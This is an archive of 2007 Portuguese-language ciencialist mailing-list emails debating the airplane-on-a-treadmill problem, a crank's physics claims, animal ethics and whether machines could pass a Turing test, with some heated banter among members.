> PODEM FAZER ISSO sem problemas, da mesma forma como um avião pode
> decolar da esteira! Mesmo com a estrutura girando em seu eixo fixo, as
> motos SE MOVEM E GIRAM SEM CAIR, já que as rodas não são responsáveis
> pela tração, mas apenas isolam as mesmas da estrutura!! Como no avião
> e esteira, motos com jatos apenas farão as rodas girarem mais rápido,
> se a estrutura girar ao contrário de seu deslocamento, que se esta
> estivesse parada!
> JR - Ficou muito confusa sua explicação... Mas se as rodas que estão em
> contato com a estrutura do globo giram mais rápido quando essa estrutura
> gira, significa que não está mais na mesma velocidade de antes quando o
> globo estava parado. Logo, não está atendendo o enunciado do problema...
>
> Se pelo menos parasse de teimar e pensasse um pouco no problema, sem
> deixar seu "ego" gigantesco engana-lo, dizendo que você tem uma
> resposta que NINGUÉM mais descobriu..:-)
> JR - Leia esse parágrafo acima para vc mesmo e veja se bate alguma luz...
>
> Pense, Renato, pense: se conseguir imaginar as motos ligando seus
> "jatos", o que acontece com a estrutura depois disso é IRRELEVANTE!
> JR - Não é não, Homero! No exemplo do globo da morte as motocicletas a
> jato
> sofrerão um retardo em seus movimentos em relação ao chão-solo, visto que
> a
> estrutura - onde elas estão apoiadas e se deslocando - roda em sentido
> contrário, subtraindo velocidade nesse sentido.
>
> Que canseira..:-) E, mais uma vez peço desculpas, mas, PQP!!!..:-)
> JR - Descanse e depois tente raciocinar sobre a questão.
>
> Homero
>
> []s
> José Renato
>
>
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SUBJECT: P/ Vitor - Re: Balanço do avião - Não to entendendo nada
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TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 14:33

Olá Vitor

Eu já dei o exemplo do hidro-avião, mais o exemplo do avião sobre
eskys de neve, mais uma batelada de exemplos, e ele, o Renato,
simplesmente não entende.

É espantoso!

O hidroavião decola, mesmo com a "esteira" do fluxo do rio andando ao
contrário, e mesmo assim, ele NÃO entende.

Espero que tenha mais sorte nisso que os que já tentaram..:-)

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> E se for um hidro-avião?
> Muito bem colocado, Victor! Mais um exemplo para tentar destravar os
> neurônios.
> O rio em movimento tem uma velocidade de correnteza. Normalmente essa
> velocidade não irá variar juntamente com avião, como ocorre com a
esteira,
> mas dá uma visão típica do problema. Veja esclarecimentos abaixo...
> ...........................................
>
> ----- Original Message -----
> From: "J.Victor" <j.victor.neto@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, May 21, 2007 6:32 AM
> Subject: RES: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> entendendo nada
>
>
> E se for um hidro-avião?
>
> Ele levantaria vôo:
>
> 1 - se tenta a favor da correnteza?
> JR - Já teria uma velocidade inicial dada pela correnteza do rio.
>
> 2- se tenta contra a correnteza?
> JR - Aqui temos exatamente o esquema do problema do avião sobre a
esteira,
> que se deslocam *na mesma velocidade* em sentidos contrários.
Imaginemos que
> em vez de esteira temos água onde o hidroavião está pousado.
Imaginemos que
> essa água se desloca na mesma velocidade que o avião adquire quando
aciona
> os motores ou turbinas. Se os motores estiverem desligados a corrente
> carregará o avião rio abaixo na velocidade da correnteza. Se acionar os
> motores o hidroavião passa a se deslocar rio acima, em sentido
contrário à
> correnteza. Agora pense... O que ocorrerá quando o hidroavião
alcançar a
> mesma velocidade da correnteza? Essa constatação é verdadeirá para
qualquer
> que seja a velocidade alcançada pelo hidroavião e rio.
>
> Sds,
> Victor?
>
> Abraços
> José Renato
> ........................................................
>
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de José Renato
> Enviada em: domingo, 20 de maio de 2007 23:03
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Fw: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> entendendo nada
>
>
>
> Caro, Homero!
>
> Não é a forma de tração "tudo o que importa aqui". O detalhe
principal é a
> forma como é medida a velocidade do avião: GPS; tubo Pitot, através da
> velocidade do ar; odômetro mecânico ou fotométrico...
>
> Abraços
>
> José Renato
> ...........................................
> > ----- Original Message -----
> > From: "Oraculo" <oraculo@... <mailto:oraculo%40atibaia.com.br>
> >
> > To: <ciencialist@yahoogrupos.com.br
> <mailto:ciencialist%40yahoogrupos.com.br> >
> > Sent: Thursday, May 10, 2007 3:58 PM
> > Subject: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to
> > entendendo nada
> >
> >
> > OLá Jose Renato
> >
> > Renato: "JR - Não são, não, Homero! Até o avião se separar da
pista, ele
> > roda como um
> > carro ou moto movidos a turbinas."
> >
> > NÃO, NÃO E NÃO, MILHARES DE VEZES NÃO..:-) Isso é um erro "crasso" de
> > física, e é isso que o impede de enxergar seu erro desde o começo. Um
> > avião NUNCA se move da mesma forma que um carro, pois sua tração,
que é
> > tudo que importa aqui, É FEITA PELAS TURBINAS e não pelas rodas!
> >
> > O avião nunca se move pelas rodas, nunca! Coloque o avião na
esteira de
> > testes de automóveis de uma fábrica, ligue as turbians, e ele sai
voando
> > pela sala (é perigoso, mas parece que é a única forma de você entender
> > isso..:-). Coloque um carro, e ele fica no lugar, com a esteira
> > compensando a TRAÇÃO das rodas.
> >
> > Não há como a esteira compensar o EMPUXO das turbinas ou hélices.
> >
> > E tem razão, eu desisto..:-) Isso é o mesmo que tentar convencer
você que
> > deus não existe, é uma questão de fé.
> >
> > Homero
> >
> >
> >
> > ----- Original Message -----
> > From: José Renato
> > To: ciencialist@yahoogrupos.com.br
> <mailto:ciencialist%40yahoogrupos.com.br>
> > Sent: Thursday, May 10, 2007 12:13 AM
> > Subject: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> >
> >
> > Olá, Homero! Tenha calma, pense e apresente seus comentários,
> > mas não perca a compostura. Faço comentários no texto abaixo,
> > após JR -, OK?
> > ...........................................................
> >
> > From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br
> <mailto:ciencialist%40yahoogrupos.com.br> >
> > Sent: Monday, May 07, 2007 12:51 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo
> > nada
> >
> > PQP..:-)
> > JR - É importante manter o controle...
> >
> > Me desculpem a expressão, mas é a única que pode exprimir corretamente
> > meu espanto..:-)
> > JR - Pensei que vc tinha desistido...
> >
> > Quanto penso que alguém vai conseguir finalmente explicar o erro a
> > você, Renato, tenho de ler, de novo, outro exemplo sem sentido, onde
> > seu engano é novamente repetido:
> > JR - Não é não, Homero! No exemplo fica claro - para quem avalia - a
> > relação
> > entre o móvel-motocicleta e o chão-globo que se desloca sob elas. Em
> > geral,
> > o espetáculo é feito com a estrutura do globo fixa, sem movimento de
> > rotação
> > que eu inseri no exemplo para torná-lo semelhante ao do problema
> > esteira-avião.
> >
> > Renato: "Vc já viu o espetáculo circense chamado de Globo da Morte,
> > onde motociclistas se movimentam simultaneamente dentro de uma
> > estrutura esférica? Pense uma estrutura dessas girando em seu eixo
> > fixo ao chão, e um motociclista se deslocando na linha do "equador" na
> > mesma velocidade angular, mas em sentido contrário. Ele consegue fazer
> > isso? Qual é o referencial?"
> >
> > Quosque tandem abutere patienta nostra, Renato?..:-) Seu exemplo é um
> > "exemplo" CLARO de seu erro, pois se baseia no "senso comum" a
> > respeito de movimento! SE são motos movidas pela tração nas rodas, é
> > uma coisa, se são motos MOVIDAS POR HÉLICES OU JATOS, é outra!!!
> > JR - Não são, não, Homero! Até o avião se separar da pista, ele
roda como
> > um
> > carro ou moto movidos a turbinas.
> >
> > Colocando de forma mais clara, motos que se movem por jatos de ar
> > PODEM FAZER ISSO sem problemas, da mesma forma como um avião pode
> > decolar da esteira! Mesmo com a estrutura girando em seu eixo fixo, as
> > motos SE MOVEM E GIRAM SEM CAIR, já que as rodas não são responsáveis
> > pela tração, mas apenas isolam as mesmas da estrutura!! Como no avião
> > e esteira, motos com jatos apenas farão as rodas girarem mais rápido,
> > se a estrutura girar ao contrário de seu deslocamento, que se esta
> > estivesse parada!
> > JR - Ficou muito confusa sua explicação... Mas se as rodas que
estão em
> > contato com a estrutura do globo giram mais rápido quando essa
estrutura
> > gira, significa que não está mais na mesma velocidade de antes
quando o
> > globo estava parado. Logo, não está atendendo o enunciado do
problema...
> >
> > Se pelo menos parasse de teimar e pensasse um pouco no problema, sem
> > deixar seu "ego" gigantesco engana-lo, dizendo que você tem uma
> > resposta que NINGUÉM mais descobriu..:-)
> > JR - Leia esse parágrafo acima para vc mesmo e veja se bate alguma
luz...
> >
> > Pense, Renato, pense: se conseguir imaginar as motos ligando seus
> > "jatos", o que acontece com a estrutura depois disso é IRRELEVANTE!
> > JR - Não é não, Homero! No exemplo do globo da morte as motocicletas a
> > jato
> > sofrerão um retardo em seus movimentos em relação ao chão-solo,
visto que
> > a
> > estrutura - onde elas estão apoiadas e se deslocando - roda em sentido
> > contrário, subtraindo velocidade nesse sentido.
> >
> > Que canseira..:-) E, mais uma vez peço desculpas, mas, PQP!!!..:-)
> > JR - Descanse e depois tente raciocinar sobre a questão.
> >
> > Homero
> >
> > []s
> > José Renato
> >
> >
> >
> >
> >
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SUBJECT: Re: E=m.c2
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 14:40

Olá Ferrari

Ferrari: "Entrei no grupo pra ver e não ver no que é que dá e não dá."

Não, Ferrari, tudo indica que entrou no grupo para evangelizar,
espalhar "a verdade", que só você sabe qual é, e salvar os pobres
cientistas tolos de sua ignorância científica..:-)

Por isso todo debate é inútil, não há nenhuma forma de convencer você
de seus erros, pois estes são "a verdade", e você se comove com o som
de sua própria voz (ou de seus próprios poemas, ops, textos).

Seja sincero, há alguma coisa, qualquer coisa, que você considere
capaz de demonstrar que você se enganou?

Se a resposta for sim (o que dúvido), nos diga o que seria capaz disso
e tentaremos mostrar que é aplicável a seus textos. Se a resposta for
não (o mais provável, se você for honesto), este debate é inútil pois
não aceitamos alegações sem base, mesmo que sejam "a verdade
verdadeira", e você não está interessado em aprender ou mudar seu
ponto de vista (se é que tanta maluquice pode ser chamada de ponto de
vista).

Assim, deveria se manter em uma lista que tivesse interesse em sua
religião anti-científica.

Um abraço.

Homero





SUBJECT: P/ Bruna - Re: A verdadeira foto do Takata
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 14:45

Olá Bruna

Bruna: " apenas lhe disse que o fato do ser humano ser da minha
espécie não me obrigava optar por ele."

Isso simplesmente não parece ser verdade, Bruna. Se fosse, você não
tomaria remédios, que matam milhões de vidas, de seres vivos, que não
são de sua espécie, para curar você.

Na verdade, como sua espécie é altamente daninha a muitas outras
espécies (o que inclui vegetais e plantas, mas não apenas), você
deveria se suicidar para não prejudicar outras formas de vida.

Mesmo para você há uma hierarquia de valores, onde uma lombriga vale
menos que um ser humano, pelo menos (ou deixaria lombrigas viverem em
paz em seu intestino?), e baratas e pernilongos, etc.

O que estamos perguntando é exatamente em que ponto coloca a linha
divisória entre seres vivos e seres humanos. Por que o lindo coelhinho
branco é capaz de despertar seu cuidado, mas o lindo rato de esgoto não.

Você claramente opta por sua espécie em diversas circunstâncias,
apenas coloca a linha divisória em uma posição diferente da nossa. E
queremos saber porque e como decide em que ponto colocar essa linha.

Um abraço.

Homero




SUBJECT: Sejam bem-vindos ao deserto da realidade...
FROM: "Eduardo Sardeiro" <eduardo@simetrias.com.br>
TO: "CienciaList" <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 14:48

Olá Bulcão,

Se me lembro bem, "Sejam bem-vindos ao deserto da realidade." é a frase pronunciada pelo Morpheus quando apresentava o Matrix ao Neo.

Tb concordo com a possibilidade de que estejamos rodeados por entidades cognitivas tão bem colocadas nas suas atividades que nem sequer notamos. Pode ser o caso do T.A.KA.TA., segundo nos sugere o Álvaro.

Ou então as personalidades sintéticas criadas pelo Rodrigo Siqueira, da Politécnica, USP. Seguem os endereços:

Ed e SeteZoom: http://www.inbot.com.br/novo/cases.php
Apresentações: http://linguistica.insite.com.br/

Se vc dialogar com a SeteZoom, por exemplo, notará que ela conhece bem geografia, história e outros assuntos acadêmicos, mas não se comporta bem quando é um assunto aleatório. Trata-se de ChatterBots sequenciais, logo não se pode exigir muito deles.

Só acharia estranho se não tivesse nada disso nos dias atuais... contudo acho que precisamos avançar mais.

Um forte abraço,

Eduardo Sardeiro
http://br.groups.yahoo.com/group/NetProcessing/
http://www.orkut.com/Profile.aspx?uid=200303013887901223


----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 19, 2007 12:39 PM
Subject: [ciencialist] A verdadeira foto do Takata


Querem saber quem é mesmo o cara? Eis a sua verdadeira imagem, e sejam
bem-vindos ao deserto da realidade.

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=3

[]s
Manuel Bulcão






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Ferrari, o novo Paulo (arghhh) Coelho..:-) - Re: E=m.c2
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 14:48

Ferrari: " Pense um pouco ai e observe o que acontece
> enquanto estiver fazendo isto, nem vou precisar te
> explicar."

Puxa vida, além de "Profeta da Verdade Verdadeira", o Ferrari também
se auto-intitula um poderoso guru, capaz de inspirar sabedoria sem nem
mesmo se manifestar ou explicar essa sabedoria..:-)

Que Paulo (arghhhh) Coelho que nada, o Ferrari é o cara..:-)

Fala sério, arrogância e pretensão deveriam ter limite, pelo menos o
do desconfiometro..:-)

Homero




SUBJECT: Re: [ciencialist] Ferrari, o novo Paulo (arghhh) Coelho..:-) - Re: E=m.c2
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 15:10

Homero:

O jovem Ferrari ainda está nos inicialmentes.... treina, um dia, quem sabe? volte a ter o mundo uma nova sagrada trindade: paulo cuêio, o dalai lama e o ferrari.... tudo deus, como os outros.... E isso é bom, muito bom: o lula dá o pão, eles, o circo....

sds.,
soçvop
----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 21, 2007 2:48 PM
Subject: [ciencialist] Ferrari, o novo Paulo (arghhh) Coelho..:-) - Re: E=m.c2


Ferrari: " Pense um pouco ai e observe o que acontece
> enquanto estiver fazendo isto, nem vou precisar te
> explicar."

Puxa vida, além de "Profeta da Verdade Verdadeira", o Ferrari também
se auto-intitula um poderoso guru, capaz de inspirar sabedoria sem nem
mesmo se manifestar ou explicar essa sabedoria..:-)

Que Paulo (arghhhh) Coelho que nada, o Ferrari é o cara..:-)

Fala sério, arrogância e pretensão deveriam ter limite, pelo menos o
do desconfiometro..:-)

Homero






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Para Chicão - Re: [RN] MOSCAS E LIVRE ARBÍTRIO
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 15:17

Olá Chicão

Chicão: "Ahh tah....Se eu dissesse que esse livro foi escrito por um macaco porque você não acreditaria a priori ?"

Não, (ainda não), certamente. E eu concordo com você, não estava afirmando o contrário. Certamente, em termos de grau, nossa inteligência é superior a de um chimpanzé, golfinho ou gorila (isso sem mencionar amebas e insetos..:-).

Minha alegação era que isso é uma questão de grau, não de ausência ou presença de uma propriedade ou caracteristica. Da mesma forma como a propriedade cognitiva que chamamos de inteligência (um termo ainda a ser discutido bastante) evoluiu a partir de simples sistemas de entrada/saida, como em amebas, insetos, etc, em um substrato material, concreto, o cérebro, poderia evoluir e surgir a partir de outro tipo de substrato, desde que a complexidade que gerou a nossa inteligência se repetisse.

Na verdade, o que afirmei é que não parecia haver nenhum indicio de que isso seria impossível, nem o problema da parada, nem paradoxos.

Talvez hoje chimpanzés não possam lidar com paradoxos, ou mesmo com o problema da parada como nós, mas nós já estivemos na posição deles, e evoluímos até adiquirir essa capacidade, nada impede que sistemas de computação também o façam.

Defensores da impossibilidade dessa ocorrência em geral usam um argumento baseado em uma propriedade não material, uma alma por exemplo, que seria exterior ao sistema cognitivo, cerebral. Se isso for verdade, se existir uma alma, então é mesmo impossível que computadores desenvolvam consciência ou inteligência (a não ser que o responsável por esta alma decida coloca-la também em cérebros eletrônicos..:-).

Nosso problema no momento é, sem considerar o elemento sobrenatural, que outro elemento ou propriedade da mente humana pode ser apontado como exterior a complexidade cerebral, e dessa forma ser um impedimento para o surgimento de processos cognitivos avançados em sistemas artificiais?

Chicão: "O que eu quero dizer é que o macaco não é tão
inteligente quanto o homem. E essa diferença pode se
expressar na capacidade de se escrever livros como o
de Manuel. Serve como um teste de separação entre
macacos e homens. Mas é claro que o macaco possui
outras habilidades que exigem inteligência mostrando
sua não ignorância.
Essa comparação com a inteligência do homem é a
essência do teste de Turing."

Certamente, e como espero ter deixado claro acima, eu concordo com você nestes casos. E o Teste de Turing mede a adequação as capacidades da mente humana, não apenas a propriedade que chamamos inteligência. Podemos separar macacos e homens, computadores e homens, sistemas de software e homens, mas apenas no momento. Não há nenhuma garantia de que chimpanzés não possam no futuro, como nossos ancestrais fizeram antes, aumentar sua complexidade cognitiva até poder passar no teste.

Da mesma forma, não há nenhuma evidência de que sistemas de informação não possam, no futuro, alcançar esse estágio.

Suponha que passemos a selecionar chimpanzés como fizemos por milhares de anos com lobos, mas escolhendo a inteligência, no lugar de caracteristicas como obediência e lealdade, como filtro. Você vê algum impedimento de que em algum tempo não definido chimpanzés atinjam o ponto de conversar conosco (mesmo que por sinais e não fala), de forma que sejam capazes de passar em um teste de Turing?

E se o fizerem, você recusaria a eles o status de "consciência" que seres humanos tem?

Isso também se aplica, a meu ver, a sistemas de computação. Alegar uma dificuldade com algum processo cognitivo, hoje, para concluir que será impossível avançar até a consciência, não me parece lógico ou sustentável a partir de evidências sólidas.

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 16:21

Takata:
o comp. azul dá pequena nota sobre contra indicação que é de alto risco: qualquer cardíaco que tome comprimidos que tenha nitrito na fórmula, pode ocorrer óbito.
Quanto ao vermelho, não reza dada sobre contra indicação e efeitos secundários, o que vai contra a regra que todos os medicamentos ocasionam efeitos colaterais.

Assim, achei as notícias pouco científicas e perigosas para algum desavisado.Alguns urologistas são terminantemente contrários ao uso desses estimulantes para portadores de algumas doenças.

boa tarde,

silvio.


----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 20, 2007 1:36 PM
Subject: [ciencialist] Re: A verdadeira foto do Takata


--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> É uma pergunta interessante que um cara fez em outra lista: Você
> tomaria a azul ou a vermelha?

Quando tomar a pílula azul:
http://www.unifesp.br/comunicacao/jpta/ed120/entre1.htm

Quando tomar a pílula vermelha:
http://saude.terra.com.br/interna/0,,OI128642-EI1517,00.html

[]s,

Roberto Takata






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 17:11

Izé:

Continuo discordando, agora sobre outro aspécto: o pragmático.
Considerando a América do Sul como um todo, as pessoas que detêm algum conhecimento sobre pontos essenciais para o exercício da cidadania são poucos.
Entretanto, caro amigo, o mundo funciona: a sociedade em sua paioria cumpre seus deveres, trabalha, cuida das culturas e da saúde, evolui mais lentamente do que seria de se esperar de uma população de boa cultura, mas evolui.
Elitizar o conhecimento, a sapiência pode ser arma de dois legumes como nos ensina a história. Um pouco de pragmatismo seria de bom alvitre: temos os cânceres religiosos a correr as entranhas sociais é inimigo poderoso...
A disseminação ampla, geral e irrestrita do saber levaria ao nada pois não poderia ser controlado... Veja, hoje, a invasão da reitoria da USP, e veja quem orienta e dirige a ocupação: nem é aluna: é funcionária da USP, tem seu ideário político, usa, com sua camarilha a massa estudantil para aprimorar o caos. Os motivos são realmente escusos. ..

Voltando ao cérebro, ele tambem é construido, ao longo do tempo, em camadas: gostaria de estudar a primeira, o chassis neural ou cérebro reptileano onde, como diz nosso deputado Jefferson, nossos instintos mais primitivos....

Observe como o cidadão é lesado no nosso país: (é outro assunto): ontem entrei no submarino pra comprar um livro. achei o libro e ao lado tinha um csarimbo: frete gratis. Fui aos finalmentes, preenchi a pepelada toda pois esqueci minha senha: na nora da conta, cobraram 13 pratas de frete: cancelei tudo e mandei um e-mail questionando o fato e hoje veio a resposta: é gratis para quem compra três livros... Isso é estelionado, indução a êrro, propaganda enganosa... escrevi para a livraria que nem está aí pra mim, um mísero leitor: ela trabalha é com a massa, que compra sem ler, sem cuidar nem dos entretantos nem dos finalmentes...

um bom fim de domingo,

silvio.

----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 20, 2007 9:23 PM
Subject: [ciencialist] Re: A verdadeira foto do Takata


Não há nenhum preconceito no que eu disse, Silvio. Basta ler com
atenção. Eu disse que o conhecimento é uma construção em camadas.
Obviamente se você chegou à idade madura com camadas que lhe permitam
continuar aprendendo, e isso significa que você tem se dedicado a
aprender antes, então aprender para você não é uma "atividade nova",
mas tão somente a consequência natural de viver e, nesse caso, tanto
faz sobre o que você esteja aprendendo agora. Mas se você chegou à
idade madura apenas com uma coleção de respostas prontas e um hábito
arraigado de vagabundagem mental, então você continuará sendo estúpido
pelo resto da vida, pois não será mais possível tirar todo o lixo que
você acumulou na memória, todos os vícios do pensamento e toda a
preguiça de pensar, tão bem treinada em décadas de marasmo mental.
Pode parecer cruel, mas eu realmente acho que isso é a realidade.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> J. Carlos.
>
> boas falas. assino em baixo.
>
> Só não tenha preconceitos por questão de idade: só me interessei por
filosofia após a aposentadoria pois antes trabalhava e muito... em
obras de engenharia.
> As pessoas mais velhas aprendem, são lúcidas e têm uma bagagem de
conhecimentos que podem ajudar para esclarecer, aclarar pensamentos.
> Õs carolas, papa-hóstias não têem idade: veja nossas listas.... mas
são condicionados ao preconceito e fundamentalismo, independente da
faixa hetária pelos próprios sistemas de alienação dos fieis.
> Embora toda regra tenha excessão....
>
> um bom domingo,
>
> silvio.
> ----- Original Message -----
> From: José Carlos Antonio
> To: ciencialist@yahoogrupos.com.br
> Sent: Sunday, May 20, 2007 5:18 AM
> Subject: [ciencialist] Re: A verdadeira foto do Takata
>
>
> João,
>
> Acho que as pessoas não fazem uma opção consciente pela ignorância,
> elas apenas são ignorantes por natureza, pois ninguém nasce menos
> ignorante que outro ou dotado de algum "conhecimento" além daqueles
> mínimos gravados em nosso DNA.
>
> O problema, a meu ver, é que abandonar a ignorância tem um preço muito
> alto: é precido ler muito, ouvir muito, pensar muito e aprender que as
> respostas que encontramos são sempre superficiais, temporárias e
> relativas. Esse aprendizado, da relatividade do nosso próprio
> conhecimento, talvez seja muito difícil para quem aprendeu por muito
> tempo apenas a "acreditar em respostas" e não treinou o "duvidar das
> perguntas".
>
> Eu penso que a grande maioria das pessoas não consegue formular uma
> idéia minimamente razoável do que representa uma galáxia em termos de
> tempo e espaço, por exemplo. E muito menos ainda conseguem ter uma
> visão microscópica da matéria que lhes permita compreender, ainda que
> superficialmente, a complexidade e o caos que geram a ordem das
> estruturas macroscópicas. Isso tudo é muito complicado para mentes
> lineares e superficiais alimentadas por cultura inútil.
>
> Depois que as pessoas envelhecem é ainda mais difícil assimilar novos
> paradigmas ou idéias contraditórias às suas "verdades". Em educação
> vemos isso claramente, tanto quanto vemos isso transparecer nessas
> discussões de cunho religioso que assitimos nas listas.
>
> Nenhum ser humano minimamente inteligente e bem informado poderia crer
> em deuses que criam mundos e seres para habitá-los, mas eles crêem!
> Tomam antibióticos para curarem-se de infecções e depois agradecem
> seus deuses; não crêem em fantasmas, mas tem medo do escuro. :)
>
> A lavagem cerebral da religião feita nas crianças, por exemplo,
> sobrevive na idade adulta na imensa maioria das pessoas. Até mesmo
> muitos "céticos" têm medo de ter certeza de que seus deuses da
> infância não existam. Sabem que é irracional, mas eles mesmos não têm
> um comportamento racional ao lidar com o assunto.
>
> A mente humana é uma construção em camadas onde uma se apóia na outra.
> Depois que há muitas camadas sobrepostas e sedimentas, não dá para
> retirar uma camada profunda sem "desconstruir" todo o resto. Ocorre
> que essa "desconstrução" é muito trabalhosa e, francamente, quase
> nunca ocorre.
>
> A melhor solução que conheço é investir na educação dos pequenos, mas
> mesmo assim não é fácil porque até mesmo muitos dos professores de
> biologia que ensinam a teoria da evolução para as crianças, crêem,
> eles mesmos, na teoria da criação divina. Assim fica difícil...
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> <joaobncarvalho@> escreveu
> >
> > > sejam bem-vindos ao deserto da realidade.
> >
> > É bem provável que o Takata seja um computador quântico. Talvez um
> > experimento do Pentágono que foi colocado em uma lista do Brasil
para
> > não despertar suspeitas. Mas Manuel, você podia pelo menos ter nos
> > oferecido a possibilidade de tomar a pílula azul. Ao clicar em seu
> > link nós podíamos ser direcionados para a página da Disney, ou da
> > Playboy.
> >
> > É uma pergunta interessante que um cara fez em outra lista: Você
> > tomaria a azul ou a vermelha?
> >
> > Antes de escolher, lembre-se do comentário de um dos personagens:
> > Ignorance is bliss. Tem também a observação do Morpheus sobre a
> > pílula vermelha: Tudo que eu te ofereço é a verdade, nada mais que
> > isso. Vocês encarariam a verdade, mesmo sabendo que contemplá-la é
> > contemplar o abismo? Pois o mundo é um abismo, e o que eu vejo
por aí
> > são pessoas tentando não olhar para ele. Botá-lo debaixo do tapete.
> > Tentando acreditar que ele não existe. A grande maioria tomaria a
> > azul. A percentagem de pessoas que acreditam nas bases
darwinistas e
> > computacionais da mente deve estar abaixo de 1%. Nós só
aceitamos que
> > a Terra gira em torno do Sol porque não temos escolha. Também
não dá
> > para dizer que não existem galáxias, e aglomerados de galáxias que
> > estão a 5 bilhões de anos luz daqui. Isso sem falar daquelas
> > partículas quânticas, que são uma das maiores evidências de que
Deus
> > não existe. Se ele existisse não teria criado algo tão cretino. É o
> > deserto da realidade. Não digo nem bem-vindos, pois seria uma
ironia.
> > Se Deus existe, ele nos sacaneou.
> >
> > João
> >
>
>
>
>
>
>
>
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>
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SUBJECT: Ferrari na Science
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/05/2007 17:15

Childhood Origins of Adult Resistance to Science
Paul Bloom and Deena Skolnick Weisberg

Resistance to certain scientific ideas derives in large part from
assumptions and biases that can be demonstrated experimentally in
young children and that may persist into adulthood. In particular,
both adults and children resist acquiring scientific information that
clashes with common-sense intuitions about the physical and
psychological domains. Additionally, when learning information from
other people, both adults and children are sensitive to the
trustworthiness of the source of that information. Resistance to
science, then, is particularly exaggerated in societies where
nonscientific ideologies have the advantages of being both grounded in
common sense and transmitted by trustworthy sources.
http://www.sciencemag.org/cgi/content/full/316/5827/996
--------------------------------
[]s,

Roberto Takat



SUBJECT: o Conhecimento. - frase da semana.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <politicab@yahoogrupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, "ateus" <ateus-br@yahoogroups.com>, <Acropolis_@yahoogrupos.com.br>
DATE: 21/05/2007 18:35

"A coisa principal na vida não é o conhecimento, mas o uso que dele se faz."


Talmude




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SUBJECT: Re: [ciencialist] Re: A verdadeira foto do Takata
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 21/05/2007 19:07

Deus:

Embora, subjetivamente, leve em conta que a banana é também um símbolo fálico.......
bons sonhos,
anônimo.

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Monday, May 21, 2007 11:28 AM
Subject: Re: [ciencialist] Re: A verdadeira foto do Takata


Estou precisando de uma veterinária psicóloga. Vira e mexe meus genes hereditários mais primitivos me faz ter sonhos de chipanzés ... levanto-me e como uma banana!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 20 de maio de 2007 21:03
Assunto: [ciencialist] Re: A verdadeira foto do Takata

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Oh, Manu, o querido Takata não é um computador, é apenas tímido que
> tem "problemas" com a própria aparência o que seria útil se
> utilizasse a neurolínguistica para acabar com isso!

Veterinária q ataca de psicóloga... Deve ser exercício ilegal de
profissão ou vai ver q ela acha q sou um cão. Bem pra quem não sabe a
diferença entre 200 vacas e 1 homem não é algo absurdo.

[]s,

Roberto Takata

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Página de apoio
http://www.ciencialist.com

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SUBJECT: Re: [Pingão] Rupert Sheldrake - A Ciência em Xeque
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <Conversa_de_Botequim@yahoogrupos.com.br>
CC: <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 21/05/2007 21:45

Lili:

A ciência NUNCA está em xeque por uma simples razão: o objetivo único dela é a busca do conhecimento, frente a determinado problema.

